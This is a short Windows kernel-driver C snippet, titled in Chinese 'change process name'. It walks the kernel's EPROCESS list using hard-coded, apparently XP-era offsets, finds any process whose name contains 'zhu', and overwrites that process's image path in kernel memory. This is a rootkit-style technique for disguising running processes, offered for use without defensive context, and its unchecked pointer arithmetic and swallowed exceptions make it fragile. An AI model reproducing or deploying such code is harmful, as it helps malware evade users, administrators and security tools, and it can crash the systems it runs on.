改变进程名

改变进程名。

VOID NewName(UNICODE_STRING ProcessName)
{
    ANSI_STRING OldProcessName;
    PLIST_ENTRY ActivEProcessLinks;
    PUNICODE_STRING FindProcessName;
    ULONG EPROCESS,PEPROCESS,FirstEProcess;
    PEPROCESS=FirstEProcess=EPROCESS=(ULONG)PsGetCurrentProcess();       
        while(TRUE)
        { 
               PEPROCESS+=0x174;
               __try
               {
                  RtlInitAnsiString(&OldProcessName,(PUCHAR)PEPROCESS);
                }
               __except(1)
               {
                }
                if (strstr(OldProcessName.Buffer,"zhu")!=NULL) 
                { 
                        PEPROCESS-=0x174;
                        PEPROCESS+=0x1f4;
                        __try
                        {
                          FindProcessName=*((ULONG*)PEPROCESS);
                          RtlCopyUnicodeString(FindProcessName,&ProcessName); 
                         } 
                        __except(1)
                        {
                          PEPROCESS-=0x1f4;
                         }
                        PEPROCESS-=0x1f4;
                } 
                ActivEProcessLinks=(PLIST_ENTRY)(EPROCESS+0x88);
                EPROCESS=(ULONG)ActivEProcessLinks->Flink-0x88;
                PEPROCESS=EPROCESS;
                if(EPROCESS==FirstEProcess)
                break;
        }
}